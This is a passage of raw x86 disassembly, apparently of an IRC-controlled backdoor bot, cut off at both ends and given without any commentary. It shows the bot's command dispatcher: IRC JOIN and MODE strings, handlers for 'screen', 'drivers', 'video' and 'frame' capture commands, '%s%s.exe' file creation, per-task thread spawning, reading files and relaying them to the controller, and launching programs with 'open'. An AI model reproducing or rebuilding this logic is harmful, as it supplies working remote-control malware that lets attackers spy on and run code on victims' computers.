[ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660ADCh test eax, eax jnz short loc_40844C push offset unk_42A6B0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_42A694 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h call near ptr 26A0000h nop push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_42A65C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h call near ptr 2680000h nop jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 268082Fh push eax push offset dword_42A620 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_42A5D8 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2680000h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_42A5B4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_42A59C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_42A568 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_42A534 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2680000h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 268082Fh nop push eax push offset unk_42A4F8 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_42A4CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2680000h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 268082Fh push eax push offset dword_42A490 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_42A488 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_42A480 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_42A474 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_42A480 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_42A458 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_42A450 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_42A480 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_42A434 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_42A480 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_42A418 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_42A3F0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_42A3E4 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2680000h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42A3D0 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42AB04 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_42A3B4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_42A394 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_42A374 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_42A34C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_42A31C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_42A300 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_42A2CC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_42A29C jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_42A260 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CB654 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_42A230 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_42A208 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_42A1D4 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_42A1A0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_42A168 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_42A134 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_42A0F4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_42A0B4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_42A090 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42A06C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_42A068 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42A03C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_42A024 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_42A004 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429FE8 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429FD0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2680000h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 268082Fh push eax push offset unk_429F90 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_429F78 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429F54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2680000h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 268026Ah nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429F38 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A740 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429F14 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429EE4 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429EC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_429E94 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CB664 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB5DC cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_429E74 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB6A8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB6B0 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_429E4C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429E24 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CB590 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429E04 jmp 